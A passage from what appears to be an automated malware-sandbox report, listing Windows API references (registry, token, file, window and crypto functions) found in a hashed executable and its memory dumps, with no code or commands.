"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HeapCreate"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FindResourceW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "UnregisterWait"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InterlockedExchange"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetTempPathW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EnumResourceTypesW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HeapDestroy"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetTempFileNameW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetNativeSystemInfo"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RegisterWaitForSingleObject"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CoInitialize"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ShellExecuteExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "PathAddBackslashW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "PathRenameExtensionW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "PathRemoveBackslashW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DestroyAcceleratorTable"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EnumWindows"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TranslateMessage"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "MessageBoxW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateWindowExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TranslateAcceleratorW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DefWindowProcW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CharLowerW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetWindowTextLengthW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DestroyWindow"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateAcceleratorTableW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CharUpperW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadCursorW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "BringWindowToTop"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "UnregisterClassW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetFocus"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DispatchMessageW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadIconW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetWindowTextW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004156.00000001.93047.00B21000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004156.00000001.93047.00B21000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004156.00000001.93047.00B21000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00004156.00000001.93047.00B21000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004880.00000001.92978.00E61000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004880.00000001.92978.00E61000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004880.00000001.92978.00E61000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00004880.00000001.92978.00E61000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: 